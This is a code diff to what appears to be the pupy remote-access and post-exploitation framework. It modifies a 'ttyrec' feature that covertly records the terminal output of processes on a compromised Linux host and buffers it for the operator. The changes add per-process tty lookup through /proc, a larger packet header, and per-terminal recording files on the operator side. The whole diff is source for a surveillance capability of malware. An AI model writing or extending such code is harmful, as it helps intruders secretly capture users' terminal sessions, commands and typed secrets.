diff --git a/pupy/modules/ttyrec.py b/pupy/modules/ttyrec.py
index 29108a6e..efd87a60 100644
--- a/pupy/modules/ttyrec.py
+++ b/pupy/modules/ttyrec.py
@@ -26,7 +26,7 @@ class TTYRec(PupyModule):
         'linux': ['ttyrec']
     }
 
-    header = struct.Struct('<16ssIIII')
+    header = struct.Struct('<8s16ssIIII')
 
     @classmethod
     def init_argparse(cls):
@@ -69,22 +69,26 @@ class TTYRec(PupyModule):
             if not header:
                 break
 
-            comm, probe, pid, sec, usec, lbuf = self.header.unpack(header)
-            comm = comm.strip('\0')
-            pid = int(pid)
+            tty, comm, probe, pid, sec, usec, lbuf = \
+                self.header.unpack(header)
+
+            comm = comm.strip().strip('\0')
+            tty = tty.strip()
+            filename = tty + '.' + probe + '.rec'
+
+            pid = str(pid)
             sec = int(sec)
             usec = int(usec)
             lbuf = int(lbuf)
-            key = frozenset([comm, probe, pid])
-            if key not in dests:
-                filename = '{}.{}.{}.rec'.format(comm, pid, probe)
+
+            if filename not in dests:
                 dest = os.path.join(dumpdir, filename)
-                self.info('{} {} -> {}'.format(comm, pid, dest))
-                dests[key] = open(dest, 'a')
+                self.info('{} -> {}'.format(tty, dest))
+                dests[filename] = open(dest, 'a')
 
             payload = data.read(lbuf)
-            dests[key].write(struct.pack('<III', sec, usec, lbuf))
-            dests[key].write(payload)
+            dests[filename].write(struct.pack('<III', sec, usec, lbuf))
+            dests[filename].write(payload)
 
         for f in dests.itervalues():
             f.close()
diff --git a/pupy/packages/linux/all/ttyrec.py b/pupy/packages/linux/all/ttyrec.py
index 7154a3a1..f17dbd1d 100644
--- a/pupy/packages/linux/all/ttyrec.py
+++ b/pupy/packages/linux/all/ttyrec.py
@@ -61,6 +61,7 @@ class TTYMon(object):
             self._probe_name
         )
 
+        self._tty_cache = {}
         self._started = False
         self._stopping = False
         self._stopped = True
@@ -220,7 +221,19 @@ class TTYMon(object):
             buf = rest[eob:]
 
             if pid not in self._ignore:
-                yield comm, pid, probe, sec, usec, data
+                cached_tty, cached_sec = self._tty_cache.get(
+                    pid, (None, None))
+
+                if not cached_tty or (sec - cached_sec > 600):
+                    cached_sec = sec
+                    try:
+                        cached_tty = os.readlink('/proc/{}/fd/1'.format(pid))
+                    except (OSError, IOError):
+                        cached_tty = None
+
+                    self._tty_cache[pid] = cached_tty, cached_sec
+
+                yield cached_tty, comm, pid, probe, sec, usec, data
 
 
 class TTYRec(Task):
@@ -235,12 +248,20 @@ class TTYRec(Task):
         self._event_id = event_id
 
     def task(self):
-        for comm, pid, probe, sec, usec, buf in self._ttymon:
+        for cached_tty, comm, pid, probe, sec, usec, buf in self._ttymon:
+            if cached_tty:
+                cached_tty = cached_tty.rsplit('/', 1)[-1]
+            else:
+                cached_tty = ''
+
+            cached_tty = cached_tty[:8].ljust(8)
+            comm = comm[:16].ljust(16)
+
             with self._results_lock:
                 packet = self._compressor.compress(
                     struct.pack(
-                        '<16ssIIII',
-                        comm[:16], probe, pid,
+                        '<8s16ssIIII',
+                        cached_tty, comm, probe, pid,
                         sec, usec, len(buf)) + buf)
                 self._buffer.append(packet)